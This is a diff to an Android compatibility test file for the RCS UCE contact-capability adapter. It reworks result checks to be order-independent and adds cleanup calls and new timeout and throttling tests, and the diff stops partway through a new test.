+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -818,6 +818,8 @@
} finally {
errorQueue.clear();
retryAfterQueue.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
}
requestAvailability(uceAdapter, sTestNumberUri, callback);
@@ -831,6 +833,8 @@
} finally {
errorQueue.clear();
retryAfterQueue.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
}
/*
@@ -854,6 +858,8 @@
} finally {
errorQueue.clear();
retryAfterQueue.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
}
requestAvailability(uceAdapter, sTestNumberUri, callback);
@@ -867,6 +873,8 @@
} finally {
errorQueue.clear();
retryAfterQueue.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
}
});
@@ -888,6 +896,8 @@
} finally {
errorQueue.clear();
retryAfterQueue.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
}
requestCapabilities(uceAdapter, numbers, callback);
@@ -902,6 +912,8 @@
} finally {
errorQueue.clear();
retryAfterQueue.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
}
overrideCarrierConfig(null);
@@ -975,22 +987,38 @@
});
requestCapabilities(uceAdapter, contacts, callback);
+ List<RcsContactUceCapability> resultCapList = new ArrayList<>();
// Verify that all the three contact's capabilities are received
RcsContactUceCapability capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact1, capability);
- verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- true, true);
+ assertNotNull("Capabilities were not received for contact", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact2, capability);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- true, false);
+ assertNotNull("Capabilities were not received for contact", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact3, capability);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- false, false);
+ assertNotNull("Capabilities were not received for contact", capability);
+ resultCapList.add(capability);
+
+ // Verify the first contact capabilities from the received capabilities list
+ RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, true);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, false);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, false, false);
// Verify the onCompleted is called
waitForResult(completeQueue);
@@ -999,6 +1027,7 @@
errorRetryQueue.clear();
completeQueue.clear();
capabilityQueue.clear();
+ resultCapList.clear();
removeTestContactFromEab();
// Setup the callback that some of the contacts are terminated.
@@ -1010,16 +1039,34 @@
// Verify the contacts are not found.
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- false, false);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- false, false);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- false, false);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
+
+ // Verify the first contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact1);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
// Verify the onCompleted is called
waitForResult(completeQueue);
@@ -1028,6 +1075,7 @@
errorRetryQueue.clear();
completeQueue.clear();
capabilityQueue.clear();
+ resultCapList.clear();
removeTestContactFromEab();
// Setup the callback that some of the contacts are terminated.
@@ -1051,17 +1099,35 @@
// Verify the first contact is found.
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- true, true);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
// Verify the reset contacts are not found.
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- true, false);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- false, false);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
+
+ // Verify the first contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact1);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, true);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
// Verify the onCompleted is called
waitForResult(completeQueue);
@@ -1133,21 +1199,38 @@
requestCapabilities(uceAdapter, contacts, callback);
+ List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
// Verify that all the three contact's capabilities are received
RcsContactUceCapability capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact1, capability);
- verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- true, true);
+ assertNotNull("Cannot receive the first capabilities result.", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact2, capability);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- true, false);
+ assertNotNull("Cannot receive the second capabilities result.", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact3, capability);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- false, false);
+ assertNotNull("Cannot receive the third capabilities result.", capability);
+ resultCapList.add(capability);
+
+ // Verify contact1's capabilities from the received capabilities list
+ RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
+ assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+ verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, true);
+
+ // Verify contact2's capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact: " + contact2, resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, false);
+
+ // Verify contact3's capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact: " + contact3, resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, false, false);
// Verify the onCompleted is called
waitForResult(completeQueue);
@@ -1156,6 +1239,7 @@
errorRetryQueue.clear();
completeQueue.clear();
capabilityQueue.clear();
+ resultCapList.clear();
// The request should not be called because the capabilities should be retrieved from cache.
capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
@@ -1166,18 +1250,33 @@
// Verify that all the three contact's capabilities are received
capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact1, capability);
- verifyCapabilityResult(capability, contact1, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+ assertNotNull("Cannot receive the first capabilities result.", capability);
+ resultCapList.add(capability);
+
+ capability = waitForResult(capabilityQueue);
+ assertNotNull("Cannot receive the second capabilities result.", capability);
+ resultCapList.add(capability);
+
+ capability = waitForResult(capabilityQueue);
+ assertNotNull("Cannot receive the third capabilities result.", capability);
+ resultCapList.add(capability);
+
+ // Verify contact1's capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact1);
+ assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+ verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
true, true);
- capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact2, capability);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+ // Verify contact2's capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact: " + contact2, resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
true, false);
- capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact3, capability);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+ // Verify contact3's capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact: " + contact3, resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
false, false);
// Verify the onCompleted is called
@@ -1187,6 +1286,7 @@
errorRetryQueue.clear();
completeQueue.clear();
capabilityQueue.clear();
+ resultCapList.clear();
removeTestContactFromEab();
overrideCarrierConfig(null);
@@ -1859,6 +1959,7 @@
// Override the carrier config of SIP 489 request forbidden.
PersistableBundle bundle = new PersistableBundle();
bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_REQUEST_FORBIDDEN_BY_SIP_489_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_GROUP_SUBSCRIBE_BOOL, true);
overrideCarrierConfig(bundle);
// Connect to the ImsService
@@ -1927,60 +2028,17 @@
} else if (sipCode == sipCodeBadEvent) {
assertTrue(retryAfterMillis > 0L);
}
-
- // Verify the ImsService received the capabilities request.
- assertEquals(1, subscribeRequestCount.get());
} catch (Exception e) {
fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
} finally {
errorQueue.clear();
retryAfterQueue.clear();
+ capabilityQueue.clear();
+ completeQueue.clear();
subscribeRequestCount.set(0);
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
}
-
- // Override the network response with the sip code 503 Service Unavailable
- capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
- subscribeRequestCount.incrementAndGet();
- cb.onNetworkResponse(503, "Service Unavailable");
- });
-
- try {
- // Request contact uce capabilities again.
- requestCapabilities(uceAdapter, contacts, callback);
-
- if (sipCode == sipCodeForbidden) {
- // Verify that device can still send the subscribe request. The callback
- // "onError" is called with the Server Unavailable error.
- assertEquals(RcsUceAdapter.ERROR_SERVER_UNAVAILABLE,
- waitForIntResult(errorQueue));
- // Verify the retryAfter value
- assertEquals(0L, waitForLongResult(retryAfterQueue));
- // Verify that the capabilities is not forbidden. The ImsService received the
- // request from the framework.
- assertEquals(1, subscribeRequestCount.get());
- } else if (sipCode == sipCodeBadEvent) {
- // When carrier config Bad Event flag is enabled and the device has received
- // the sip code 489 (bad event) before, the uce request will be forbidden.
-
- // Verify that the callback "onError" is called with the error code FORBIDDEN
- assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
- // Verify the retryAfter value
- long retryAfterMillis = waitForLongResult(retryAfterQueue);
- assertTrue(retryAfterMillis > 0L);
- // Verify that the capabilities won't be send to the ImsService because the
- // uce request is forbidden.
- assertEquals(0, subscribeRequestCount.get());
- }
- } catch (Exception e) {
- fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
- } finally {
- errorQueue.clear();
- retryAfterQueue.clear();
- subscribeRequestCount.set(0);
- }
-
- // Reset the device status
- removeUceRequestDisallowedStatus();
});
overrideCarrierConfig(null);
@@ -2249,6 +2307,7 @@
completeQueue.clear();
capabilityQueue.clear();
removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
setCapabilitiesRequestTimeout(-1L);
}
@@ -2274,12 +2333,115 @@
completeQueue.clear();
capabilityQueue.clear();
removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
setCapabilitiesRequestTimeout(-1L);
}
overrideCarrierConfig(null);
}
+ @Test
+ public void testRequestTimeoutWithPresenceMechanism() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+ assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+ // Remove the test contact capabilities
+ removeTestContactFromEab();
+
+ // Connect to the ImsService
+ setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
+
+ TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+ .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+ BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+ RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+ @Override
+ public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+ capabilities.forEach(c -> capabilityQueue.offer(c));
+ }
+ @Override
+ public void onComplete() {
+ completeQueue.offer(true);
+ }
+ @Override
+ public void onError(int errorCode, long retryAfterMilliseconds) {
+ errorQueue.offer(errorCode);
+ errorRetryQueue.offer(retryAfterMilliseconds);
+ }
+ };
+
+ // Prepare the test contact
+ Collection<Uri> contacts = new ArrayList<>();
+ contacts.add(sTestNumberUri);
+
+ // Setup the ImsService doesn't trigger any callbacks.
+ AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+ capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+ subscribeRequestCount.incrementAndGet();
+ // It won't trigger any callbacks to the framework.
+ });
+
+ // Set the timeout for 3 seconds
+ setCapabilitiesRequestTimeout(3000L);
+
+ // Request capabilities
+ requestCapabilities(uceAdapter, contacts, callback);
+
+ try {
+ // Verify the error code REQUEST_TIMEOUT is received
+ assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+ assertEquals(0L, waitForLongResult(errorRetryQueue));
+
+ // Verify the capabilities can still be received.
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ completeQueue.clear();
+ capabilityQueue.clear();
+ subscribeRequestCount.set(0);
+ }
+
+ // Request the capabilities with the same contact again.
+ requestCapabilities(uceAdapter, contacts, callback);
+
+ try {
+ // Verify that the caller can received the capabilities callback.
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+
+ // Verify the complete callback will be called.
+ waitForResult(completeQueue);
+
+ // Verify that the ImsService didn't received the request because the capabilities
+ // should be retrieved from the cache.
+ assertEquals(0, subscribeRequestCount.get());
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ completeQueue.clear();
+ capabilityQueue.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
+ subscribeRequestCount.set(0);
+ setCapabilitiesRequestTimeout(-1L);
+ }
+
+ overrideCarrierConfig(null);
+ }
@Test
public void testTimeoutToRequestCapabilitiesWithOptionsMechanism() throws Exception {
@@ -2422,22 +2584,40 @@
requestCapabilities(uceAdapter, contacts, callback);
+ List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
// Verify that all the three contact's capabilities are received
RcsContactUceCapability capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact1SipScheme,
- capability);
- verifyCapabilityResult(capability, contact1SipScheme, SOURCE_TYPE_NETWORK,
+ assertNotNull("Capabilities were not received for contact", capability);
+ resultCapList.add(capability);
+
+ capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received for contact", capability);
+ resultCapList.add(capability);
+
+ capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received for contact", capability);
+ resultCapList.add(capability);
+
+
+ // Verify the first contact capabilities from the received capabilities list
+ RcsContactUceCapability resultCapability =
+ getContactCapability(resultCapList, contact1SipScheme);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact1SipScheme, SOURCE_TYPE_NETWORK,
REQUEST_RESULT_FOUND, true, true);
- capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact2, capability);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- true, false);
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, false);
- capability = waitForResult(capabilityQueue);
- assertNotNull("Capabilities were not received for contact: " + contact3, capability);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
- false, false);
+ // Verify the third contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, false, false);
// Verify the onCompleted is called
waitForResult(completeQueue);
@@ -2446,6 +2626,7 @@
errorRetryQueue.clear();
completeQueue.clear();
capabilityQueue.clear();
+ resultCapList.clear();
removeTestContactFromEab();
// Setup the callback that some of the contacts are terminated.
@@ -2457,16 +2638,34 @@
// Verify the contacts are not found.
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact1TelScheme, SOURCE_TYPE_NETWORK,
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
+
+ capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
+
+ capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
+
+ // Verify the first contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact1TelScheme);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact1TelScheme, SOURCE_TYPE_NETWORK,
REQUEST_RESULT_NOT_FOUND, false, false);
- capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- false, false);
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
- capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- false, false);
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
// Verify the onCompleted is called
waitForResult(completeQueue);
@@ -2475,6 +2674,7 @@
errorRetryQueue.clear();
completeQueue.clear();
capabilityQueue.clear();
+ resultCapList.clear();
removeTestContactFromEab();
// Setup the callback that some of the contacts are terminated.
@@ -2498,17 +2698,35 @@
// Verify the first contact is found.
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact1SipScheme, SOURCE_TYPE_NETWORK,
- REQUEST_RESULT_FOUND, true, true);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
// Verify the reset contacts are not found.
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- true, false);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
capability = waitForResult(capabilityQueue);
- verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
- false, false);
+ assertNotNull("Capabilities were not received", capability);
+ resultCapList.add(capability);
+
+ // Verify the first contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact1SipScheme);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact1SipScheme, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, true);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact2);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, true, false);
+
+ // Verify the second contact capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, contact3);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
// Verify the onCompleted is called
waitForResult(completeQueue);
@@ -2643,6 +2861,352 @@
overrideCarrierConfig(null);
}
+ @Test
+ public void testContactInThrottlingState() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+ assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+ // Remove the test contact capabilities
+ removeTestContactFromEab();
+ // Reset the UCE device state.
+ removeUceRequestDisallowedStatus();
+
+ // Connect to the ImsService
+ setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
+
+ TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+ .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+ BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+ RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+ @Override
+ public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+ capabilities.forEach(c -> capabilityQueue.offer(c));
+ }
+ @Override
+ public void onComplete() {
+ completeQueue.offer(true);
+ }
+ @Override
+ public void onError(int errorCode, long retryAfterMilliseconds) {
+ errorQueue.offer(errorCode);
+ errorRetryQueue.offer(retryAfterMilliseconds);
+ }
+ };
+
+ // Prepare the test contact
+ Collection<Uri> numbers = new ArrayList<>(1);
+ numbers.add(sTestNumberUri);
+
+ // Setup the network response is 408 Request Timeout.
+ int networkRespCode = 408;
+ String networkRespReason = "Request Timeout";
+ AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+ capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+ subscribeRequestCount.incrementAndGet();
+ cb.onNetworkResponse(networkRespCode, networkRespReason);
+ });
+
+ // Request contact capabilities
+ requestCapabilities(uceAdapter, numbers, callback);
+
+ // Verify that the callback "onError" is called with the expected error code.
+ try {
+ assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+ assertEquals(0L, waitForLongResult(errorRetryQueue));
+ // Verify the caller can received the capabilities callback.
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+ // Verity the ImsService received the request.
+ assertTrue(subscribeRequestCount.get() > 0);
+ } catch (Exception e) {
+ fail("testContactsInThrottlingState with command error failed: " + e);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ capabilityQueue.clear();
+ completeQueue.clear();
+ subscribeRequestCount.set(0);
+ }
+
+ // Request the capabilities again with the same contact.
+ requestCapabilities(uceAdapter, numbers, callback);
+
+ // Verify that the result.
+ try {
+ // Verify that the caller can received the capabilities callback.
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_CACHED,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+ // Verify the complete callback will be called.
+ waitForResult(completeQueue);
+ // Verify that the ImsService didn't received the request because the capabilities
+ // should be retrieved from the cache.
+ assertEquals(0, subscribeRequestCount.get());
+ } catch (Exception e) {
+ fail("testContactsInThrottlingState with command error failed: " + e);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ subscribeRequestCount.set(0);
+ // reset the cache and throttling list
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
+ }
+
+ // Request availability.
+ requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+ // Verify that the callback "onError" is called with the expected error code.
+ try {
+ assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+ assertEquals(0L, waitForLongResult(errorRetryQueue));
+ // Verify the caller can received the capabilities callback.
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+ // Verity the ImsService received the request.
+ assertTrue(subscribeRequestCount.get() > 0);
+ } catch (Exception e) {
+ fail("requestAvailability with command error failed: " + e);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ capabilityQueue.clear();
+ completeQueue.clear();
+ subscribeRequestCount.set(0);
+ }
+
+ // Request availability again with the same contact.
+ requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+ // Verify that the callback "onError" is called with the expected error code.
+ try {
+ // Verify that the caller can received the capabilities callback.
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_CACHED,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+ // Verify the complete callback will be called.
+ waitForResult(completeQueue);
+ // Verify that the ImsService didn't received the request because the capabilities
+ // should be retrieved from the cache.
+ assertEquals(0, subscribeRequestCount.get());
+ } catch (Exception e) {
+ fail("testContactsInThrottlingState with command error failed: " + e);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ subscribeRequestCount.set(0);
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
+ }
+
+ overrideCarrierConfig(null);
+ }
+
+ @Test
+ public void testRequestResultInconclusive() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+ assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+ // Remove the test contact capabilities
+ removeTestContactFromEab();
+ // Reset the UCE device state.
